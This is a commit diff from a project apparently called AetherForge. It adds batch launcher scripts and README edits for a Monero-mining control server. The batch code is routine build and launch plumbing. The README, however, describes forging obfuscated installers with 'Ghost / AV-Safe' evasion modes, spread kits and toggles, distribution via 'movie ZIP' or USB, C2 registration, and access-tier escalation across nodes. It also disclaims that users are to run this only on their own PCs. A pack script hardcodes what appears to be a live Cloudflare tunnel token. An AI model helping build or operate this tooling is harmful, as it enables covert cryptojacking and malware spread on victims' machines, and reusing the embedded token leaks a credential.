One-click LAUNCH.bat: pull, UI build, tunnel, and server start.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Operators double-click LAUNCH for git pull, npm build, data prep, cloudflared, and AetherForge or dev miner-server; devrun shares launch-prep.
This commit is contained in:
AetherForge
2026-06-09 04:03:02 -07:00
parent 9a884a80b6
commit 615034554c
5 changed files with 252 additions and 92 deletions

View File

@@ -2,23 +2,52 @@
setlocal EnableExtensions EnableDelayedExpansion
title AetherForge Control Deck
cd /d "%~dp0"
set "REPO=%CD%"
echo.
echo ================================================================
echo AetherForge - One-Click Launch
echo ================================================================
echo Folder: %REPO%
echo.
set "PREP=%REPO%\scripts\launch-prep.bat"
if not exist "%PREP%" set "PREP=%REPO%\..\scripts\launch-prep.bat"
if exist "%PREP%" (
call "%PREP%" "%REPO%"
if errorlevel 1 (
echo.
echo LAUNCH prep failed - fix errors above and retry.
pause
exit /b 1
)
) else (
echo [Prep] launch-prep.bat not found - skipping pull/UI build.
)
if /i "%AF_LAUNCH_DRY_RUN%"=="1" (
echo.
echo [Dry run] Prep steps OK - not starting tunnel or server.
pause
exit /b 0
)
:: Portable deck root = folder that contains AetherForge.exe (repo usb\ or copied USB drive)
set "ROOT="
if exist "%CD%\AetherForge.exe" (
set "ROOT=!CD!"
) else if exist "%CD%\usb\AetherForge.exe" (
cd /d "%CD%\usb"
set "ROOT=!CD!"
) else (
echo.
echo ERROR: AetherForge.exe not found.
echo Expected next to this script, or in usb\AetherForge.exe
echo Run pack-usb.bat from the repo to build the portable bundle.
echo.
pause
exit /b 1
)
if defined ROOT if exist "%ROOT%\AetherForge.exe" goto portable_deck
:: No portable binary - dev control server from repo
goto dev_server_launch
:portable_deck
if not exist "%ROOT%\AetherForge.exe" (
echo ERROR: AetherForge.exe missing in %ROOT%
pause
@@ -50,7 +79,6 @@ if exist "%BUNDLED_GO%" (
goto go_ready
)
:: Check if Go is installed system-wide
where go >nul 2>nul
if not errorlevel 1 (
echo [Go] Using system Go installation.
@@ -58,7 +86,6 @@ if not errorlevel 1 (
goto go_ready
)
:: Go not found anywhere - skip optional tools, proceed directly to server
echo.
echo [Go] Go not found - Forge obfuscation tools unavailable. Running server without them.
echo.
@@ -66,17 +93,11 @@ goto server_launch
:go_ready
:: ----------------------------------------------------------------
:: 2. Pin all Go caches to the USB so module downloads travel with you
:: ----------------------------------------------------------------
set "GOPATH=%ROOT%\toolchain\gopath"
set "GOMODCACHE=%ROOT%\toolchain\gopath\pkg\mod"
set "GOCACHE=%ROOT%\toolchain\gocache"
set "GOENV=off"
:: ----------------------------------------------------------------
:: 3. Install optional Forge tools if missing (non-fatal)
:: ----------------------------------------------------------------
if /i not "%AF_INSTALL_TOOLS%"=="0" (
if not exist "%ROOT%\toolchain\gopath\bin\garble.exe" (
echo [Tools] Installing garble...
@@ -95,9 +116,8 @@ if /i not "%AF_INSTALL_TOOLS%"=="0" (
:server_launch
:: ----------------------------------------------------------------
:: 4. Ensure data directories exist
:: ----------------------------------------------------------------
echo.
echo Ensuring data directories...
if not exist "%ROOT%\data\builds" mkdir "%ROOT%\data\builds"
if not exist "%ROOT%\data\logs" mkdir "%ROOT%\data\logs"
if not exist "%ROOT%\data\spread-kits" mkdir "%ROOT%\data\spread-kits"
@@ -105,9 +125,6 @@ if not exist "%ROOT%\data\uploads" mkdir "%ROOT%\data\uploads"
if not exist "%ROOT%\data\blueprints" mkdir "%ROOT%\data\blueprints"
if not exist "%ROOT%\data\preps" mkdir "%ROOT%\data\preps"
:: ----------------------------------------------------------------
:: 5. Detect LAN IP for display
:: ----------------------------------------------------------------
set "SERVER_PORT=8989"
set "CONFIG_FILE=%ROOT%\data\config.json"
if exist "%CONFIG_FILE%" (
@@ -123,9 +140,7 @@ set "LAN_IP=localhost"
:lan_done
set "LAN_IP=%LAN_IP: =%"
:: ----------------------------------------------------------------
:: 6. Kill any stale server and tunnel processes
:: ----------------------------------------------------------------
echo Stopping stale processes...
taskkill /F /IM AetherForge.exe >nul 2>nul
taskkill /F /IM cloudflared.exe >nul 2>nul
ping -n 2 127.0.0.1 >nul
@@ -139,12 +154,11 @@ echo LAN: http://%LAN_IP%:%SERVER_PORT%
echo Data: %ROOT%\data\
echo.
echo Login accounts: admin + comrade ^(passwords below after start^).
echo Cloudflare tunnel starts below ^(LAUNCH + server^).
echo Press Ctrl+C to stop.
echo ================================================================
echo.
:: Start Cloudflare connector before server ^(works with old or new AetherForge.exe^)
echo Starting tunnel...
set "CF_SCRIPT=%ROOT%\scripts\usb-start-cloudflared.ps1"
if not exist "%CF_SCRIPT%" set "CF_SCRIPT=%ROOT%\..\scripts\usb-start-cloudflared.ps1"
if exist "%CF_SCRIPT%" (
@@ -154,31 +168,123 @@ if exist "%CF_SCRIPT%" (
)
echo.
:: Ensure cwd matches deck root so webroot resolution finds usb\webroot
cd /d "%ROOT%"
:: Open browser after short delay
start "" powershell -NoProfile -WindowStyle Hidden -Command "Start-Sleep -Seconds 3; Start-Process 'http://localhost:%SERVER_PORT%/'"
:: Launch server (LAUNCH already started cloudflared above — tell server not to spawn a second copy)
echo Starting server...
set "AF_TUNNEL_EXTERNAL=1"
"%ROOT%\AetherForge.exe" -data "%ROOT%\data"
set "EC=!ERRORLEVEL!"
if exist "%ROOT%\data\cloudflared.pid" (
for /f "usebackq" %%P in ("%ROOT%\data\cloudflared.pid") do (
call :cleanup_tunnel "%ROOT%"
goto server_stopped
:dev_server_launch
echo.
echo No AetherForge.exe - starting dev control server ^(repo^).
echo ^(Run pack-usb.bat for portable USB bundle.^)
echo.
set "PATH=C:\Program Files\Go\bin;%USERPROFILE%\go\bin;C:\Program Files\nodejs;%PATH%"
set "DATA=%REPO%\data"
set "DECK=%REPO%"
if exist "%REPO%\usb\tools\cloudflared.exe" set "DECK=%REPO%\usb"
if exist "%REPO%\usb\data" if not exist "%DECK%\data" set "DECK=%REPO%\usb"
echo Ensuring data directories...
if not exist "%DATA%\builds" mkdir "%DATA%\builds"
if not exist "%DATA%\logs" mkdir "%DATA%\logs"
if not exist "%DATA%\spread-kits" mkdir "%DATA%\spread-kits"
if not exist "%DATA%\uploads" mkdir "%DATA%\uploads"
if not exist "%DATA%\blueprints" mkdir "%DATA%\blueprints"
if not exist "%DATA%\preps" mkdir "%DATA%\preps"
if not exist "%REPO%\bin" mkdir "%REPO%\bin"
set "SERVER_PORT=8989"
set "CONFIG_FILE=%DATA%\config.json"
if exist "%CONFIG_FILE%" (
for /f "usebackq delims=" %%P in (`powershell -NoProfile -Command "try { $j = Get-Content -Raw '%CONFIG_FILE%' | ConvertFrom-Json; if ($j.port) { $j.port } } catch { }"`) do (
if not "%%P"=="" set "SERVER_PORT=%%P"
)
)
set "LAN_IP=localhost"
echo Stopping stale processes...
taskkill /F /IM miner-server.exe >nul 2>nul
taskkill /F /IM AetherForge.exe >nul 2>nul
taskkill /F /IM cloudflared.exe >nul 2>nul
ping -n 2 127.0.0.1 >nul
where go >nul 2>nul
if errorlevel 1 (
echo ERROR: Go not found - install from https://go.dev/dl/ or use pack-usb.bat
pause
exit /b 1
)
if not exist "%REPO%\bin\miner-server.exe" (
echo Building control server...
cd /d "%REPO%\server"
go mod download >nul 2>nul
go build -ldflags="-s -w" -o "..\bin\miner-server.exe" .
if errorlevel 1 (
cd /d "%REPO%"
echo ERROR: Server build failed.
pause
exit /b 1
)
cd /d "%REPO%"
)
echo.
echo ================================================================
echo STARTING CONTROL SERVER ^(dev^)
echo ================================================================
echo Dashboard: http://localhost:%SERVER_PORT%
echo Data: %DATA%\
echo ================================================================
echo.
echo Starting tunnel...
set "CF_SCRIPT=%REPO%\scripts\usb-start-cloudflared.ps1"
if not exist "%CF_SCRIPT%" set "CF_SCRIPT=%DECK%\scripts\usb-start-cloudflared.ps1"
if exist "%CF_SCRIPT%" (
powershell -NoProfile -ExecutionPolicy Bypass -File "%CF_SCRIPT%" -DeckRoot "%DECK%"
) else (
echo [Tunnel] WARNING: usb-start-cloudflared.ps1 not found.
)
echo.
start "" powershell -NoProfile -WindowStyle Hidden -Command "Start-Sleep -Seconds 3; Start-Process 'http://localhost:%SERVER_PORT%/'"
echo Starting server...
cd /d "%REPO%"
set "AF_TUNNEL_EXTERNAL=1"
"%REPO%\bin\miner-server.exe" -data "%DATA%"
set "EC=!ERRORLEVEL!"
call :cleanup_tunnel "%DECK%"
goto server_stopped
:cleanup_tunnel
set "TROOT=%~1"
if exist "%TROOT%\data\cloudflared.pid" (
for /f "usebackq" %%P in ("%TROOT%\data\cloudflared.pid") do (
taskkill /F /PID %%P >nul 2>nul
)
del "%ROOT%\data\cloudflared.pid" 2>nul
del "%TROOT%\data\cloudflared.pid" 2>nul
)
taskkill /F /IM cloudflared.exe >nul 2>nul
exit /b 0
:server_stopped
echo.
if "!EC!"=="0" (
echo [Server] Stopped normally.
) else (
echo [Server] Exited with code !EC!.
echo If port %SERVER_PORT% is in use, close other AetherForge windows and retry.
echo If port %SERVER_PORT% is in use, close other server windows and retry.
)
echo.

View File

@@ -316,35 +316,32 @@ AetherForge exposes **legitimate operator tunneling** for machines you administe
**Requirements:** Windows 10/11 on control PC. Outbound internet to your pool.
### Simple start (deploy → test → mine)
### Simple start
Three steps — no spread, no triple onion, no Probe & Join required:
**Double-click `LAUNCH.bat` — that's it.**
1. **Calibrate** — set your XMR **wallet** and **pool** (SupportXMR or your upstream).
2. **Forge → Simple mode → Deploy & Mine** — one click forges an in-process worker (`simple_deploy` baked in). Run the `.exe` **once** on each PC you own.
3. **Command Deck** — status shows **Testing → Mining** (or a clear failure reason). Online with 0 H/s? Use **Run diagnostics** or **Restart mining** on the banner.
One click pulls updates (when online), builds the dashboard UI, ensures data folders, starts the Cloudflare tunnel sidecar, launches the control server, and opens your browser to the Command Deck (default **http://localhost:8989**). No portable USB bundle? `LAUNCH.bat` builds and runs `bin\miner-server.exe` from the repo instead.
Honest scope: **deploy** here means C2 registration + mining tier probe on that host — not lateral spread or registry staging to other machines.
After the deck is up: **Calibrate** wallet/pool, then **Forge → Simple mode → Deploy & Mine** on each PC you own. Honest scope: **deploy** means C2 registration + mining tier probe on that host — not lateral spread.
### Operator path (dev control PC)
1. Double-click **`devrun.bat`** in the project root.
Installs Go/Node if missing, builds the dashboard, compiles `bin\miner-server.exe`, copies web assets, and starts the server.
1. **`LAUNCH.bat`** — same one-click path as above (preferred).
2. Or double-click **`devrun.bat`** for a dev-focused window (installs Go/Node if missing, pull + UI build, compiles `bin\miner-server.exe`, live logs).
2. Browser opens **http://localhost:8989**
3. Browser opens **http://localhost:8989**
3. **Sign in** — first run: check the console window for **admin** and **comrade** passwords (both auto-created)
4. **Sign in** — first run: check the console window for **admin** and **comrade** passwords (both auto-created)
4. **Calibrate** → wallet + pool + public URL; optional **Telegram** alerts; optional **AI Control** + persona; review **LOTL onion tiers** and `patch_first` gates
5. **Calibrate** → wallet + pool + public URL; optional **Telegram** alerts; optional **AI Control** + persona; review **LOTL onion tiers** and `patch_first` gates
5. **Forge** → Operation mode **LOTL Onion** (or Ghost / AV-Safe) · server URL (`http://YOUR-LAN-IP:8989` or tunnel) · target OS · spread toggles as needed → **Forge Installer**
6. **Forge** → Operation mode **LOTL Onion** (or Ghost / AV-Safe) · server URL (`http://YOUR-LAN-IP:8989` or tunnel) · target OS · spread toggles as needed → **Forge Installer**
6. Run the forged `.exe` **once** on each worker PC (or distribute via movie ZIP / USB / spread kit)
7. Run the forged `.exe` **once** on each worker PC (or distribute via movie ZIP / USB / spread kit)
7. **Crucible****Probe & Join** on online nodes; watch **Onion** timeline and **Access Depth** for tier progression
8. Watch fleet stats on **Command Deck**; campaign hits in **Emberwake** War Room
8. **Crucible****Probe & Join** on online nodes; watch **Onion** timeline and **Access Depth** for tier progression
9. Watch fleet stats on **Command Deck**; campaign hits in **Emberwake** War Room
### Portable USB command deck
1. Run **`pack-usb.bat`** from repo root (re-run after any code change)

View File

@@ -73,7 +73,7 @@ echo Go installed.
:go_ready
:: Garble + go-winres (Forge pipeline tools failure is non-fatal)
:: Garble + go-winres (Forge pipeline tools ??? failure is non-fatal)
echo [1.5/5] Checking Forge tools (Garble, go-winres)...
where garble >nul 2>nul
if errorlevel 1 (
@@ -131,6 +131,26 @@ echo Node.js installed.
:node_ready
:: ============================================================
:: STEP 2b: Git pull + UI build (shared with LAUNCH.bat)
:: ============================================================
if defined SKIP_FRONTEND (
echo.
echo Pulling latest ^(UI build skipped - Node.js unavailable^)...
git -C "%ROOT%" pull origin main 2>nul
if errorlevel 1 echo Note: git pull skipped or failed.
) else (
echo.
echo Pulling latest + building UI...
set "PREP=%ROOT%\scripts\launch-prep.bat"
if exist "%PREP%" (
call "%PREP%" "%ROOT%"
if errorlevel 1 goto fatal_exit
) else (
echo WARNING: scripts\launch-prep.bat missing - skipping pull/UI prep.
)
)
:: ============================================================
:: STEP 3: Data directories
:: ============================================================
@@ -142,44 +162,6 @@ if not exist "data\preps" mkdir "data\preps"
if not exist "bin" mkdir "bin"
echo OK: data\ and bin\
:: ============================================================
:: STEP 4: Frontend
:: ============================================================
if defined SKIP_FRONTEND goto skip_frontend
echo [4/5] Building dashboard (server\web)...
cd /d "%ROOT%\server\web"
if not exist "node_modules" (
echo npm install...
call npm install
if errorlevel 1 (
cd /d "%ROOT%"
echo ERROR: npm install failed.
goto fatal_exit
)
)
echo npm run build...
call npm run build
if errorlevel 1 (
cd /d "%ROOT%"
echo ERROR: Frontend build failed.
goto fatal_exit
)
cd /d "%ROOT%"
echo Frontend built: server\web\dist
goto frontend_done
:skip_frontend
echo [4/5] Skipping frontend build (Node.js unavailable)
if not exist "server\web\dist\index.html" (
echo WARNING: No server\web\dist\index.html — dashboard may not load.
)
:frontend_done
if exist "server\web\dist\index.html" (
if not exist "server\webroot" mkdir "server\webroot"
xcopy /E /I /Y /Q "server\web\dist\*" "server\webroot\" >nul
echo Copied dashboard to server\webroot
)
:: ============================================================
:: STEP 5: Server binary
@@ -198,7 +180,7 @@ if errorlevel 1 (
cd /d "%ROOT%"
if defined AETHERFORGE_RELEASE (
echo Release mode active set AETHERFORGE_RELEASE=1 for server process.
echo Release mode active ??? set AETHERFORGE_RELEASE=1 for server process.
)
if not exist "bin\miner-server.exe" (
@@ -208,7 +190,7 @@ if not exist "bin\miner-server.exe" (
echo Server binary: bin\miner-server.exe
:: ============================================================
:: LAUNCH (foreground logs stay in this window)
:: LAUNCH (foreground ??? logs stay in this window)
:: ============================================================
echo.
echo Stopping any previous miner-server.exe...
@@ -261,7 +243,7 @@ goto end_pause
:fatal_exit
echo.
echo ==============================================================
echo LAUNCH FAILED fix the errors above and run devrun.bat again.
echo LAUNCH FAILED ??? fix the errors above and run devrun.bat again.
echo ==============================================================
echo.

View File

@@ -150,6 +150,7 @@ echo [5/8] Launcher synced.
if not exist "%USB%\scripts" mkdir "%USB%\scripts"
copy /y "%ROOT%\scripts\usb-start-cloudflared.ps1" "%USB%\scripts\" >nul
copy /y "%ROOT%\scripts\launch-prep.bat" "%USB%\scripts\" >nul
if not exist "%USB%\data\cloudflared-token.txt" (
echo eyJhIjoiODk1NDc5YWIzNTQwZGFhNmQ2MWFlNzAyYTUxNjQ0NzUiLCJ0IjoiYWYzNzY5NGYtNDA4Yy00ZWI3LWE2M2MtMzM5MzQ1MjI3NWIwIiwicyI6IlpEa3lPVE5pWWpjdE9USXlZeTAwTlRjNExUaGlZVGN0WWpGaFlUWmtOR05rTXpjMyJ9> "%USB%\data\cloudflared-token.txt"
)

74
scripts/launch-prep.bat Normal file
View File

@@ -0,0 +1,74 @@
@echo off
setlocal EnableExtensions
set "PREP_ROOT=%~1"
if "%PREP_ROOT%"=="" (
echo [Prep] ERROR: launch-prep.bat requires repo root path.
exit /b 1
)
echo.
echo Pulling latest from origin/main...
if exist "%PREP_ROOT%\.git" (
pushd "%PREP_ROOT%" >nul
git pull origin main
if errorlevel 1 (
echo [Prep] Note: git pull skipped or failed ^(offline, no remote, or local changes^).
) else (
echo [Prep] Git pull finished.
)
popd >nul
) else (
echo [Prep] Skipped ^(not a git checkout^).
)
if not exist "%PREP_ROOT%\server\web\package.json" (
echo [Prep] No server\web\package.json - skipping UI build.
exit /b 0
)
set "PATH=C:\Program Files\nodejs;%PATH%"
where npm >nul 2>nul
if errorlevel 1 (
echo [Prep] WARNING: npm not found - skipping UI build.
exit /b 0
)
echo.
echo Building UI ^(server\web^)...
cd /d "%PREP_ROOT%\server\web"
if not exist "node_modules" (
if exist "package-lock.json" (
echo [Prep] npm ci...
call npm ci
) else (
echo [Prep] npm install...
call npm install
)
if errorlevel 1 (
cd /d "%PREP_ROOT%"
echo [Prep] ERROR: npm install failed.
exit /b 1
)
)
echo [Prep] npm run build ^(this may take a few minutes^)...
call npm run build
if errorlevel 1 (
cd /d "%PREP_ROOT%"
echo [Prep] ERROR: Frontend build failed.
exit /b 1
)
cd /d "%PREP_ROOT%"
if not exist "%PREP_ROOT%\server\webroot" mkdir "%PREP_ROOT%\server\webroot"
echo [Prep] Syncing server\webroot...
xcopy /E /I /Y /Q "server\web\dist\*" "server\webroot\" >nul
if exist "%PREP_ROOT%\usb" (
if not exist "%PREP_ROOT%\usb\webroot" mkdir "%PREP_ROOT%\usb\webroot"
echo [Prep] Syncing usb\webroot...
xcopy /E /I /Y /Q "server\web\dist\*" "usb\webroot\" >nul
)
echo [Prep] UI build complete.
exit /b 0